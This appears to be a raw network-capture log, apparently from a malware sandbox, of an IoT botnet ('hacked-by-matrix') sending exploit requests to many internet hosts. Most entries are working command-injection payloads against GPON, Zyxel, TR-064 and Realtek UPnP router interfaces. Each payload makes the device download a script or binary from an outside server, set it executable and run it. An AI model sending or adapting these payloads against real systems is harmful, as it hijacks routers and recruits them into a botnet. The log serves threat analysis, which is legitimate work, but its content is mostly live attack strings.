Mar 21, 2024 05:18:48.316359997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.23	55888	2.159.229.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316386938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.23	58838	109.153.113.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316404104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.23	60580	2.225.16.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316435099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.23	40918	37.162.3.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316505909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.23	40742	79.161.253.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316507101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.23	37682	178.128.229.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.401860952 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:48.517018080 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 26 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4e 8e a7 cf a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzF&zIy%jaC]N0
Mar 21, 2024 05:18:48.517080069 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:18:48.810170889 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.23	58672	82.98.147.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.450462103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.23	54630	82.66.176.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.618509054 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.23	38608	178.33.101.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.619554043 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:48.784689903 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:18:48 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 21, 2024 05:18:48.784702063 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:18:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.23	41056	178.170.111.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.621023893 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:48.810271025 CET	150	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 20 Keep-Alive: timeout=0 Connection: Keep-Alive Data Raw: 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404 - Page Not Found
Mar 21, 2024 05:18:48.810282946 CET	130	IN	HTTP/1.1 204 No Content Content-Type: text/html Content-Length: 0 Keep-Alive: timeout=0 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.23	59320	72.27.179.177	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.881285906 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:49.037852049 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:18:47 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>
Mar 21, 2024 05:18:49.829509974 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:18:47 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.23	52252	5.17.3.34	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.036015034 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:49.255341053 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:18:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.23	59970	83.66.45.12	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.038902998 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 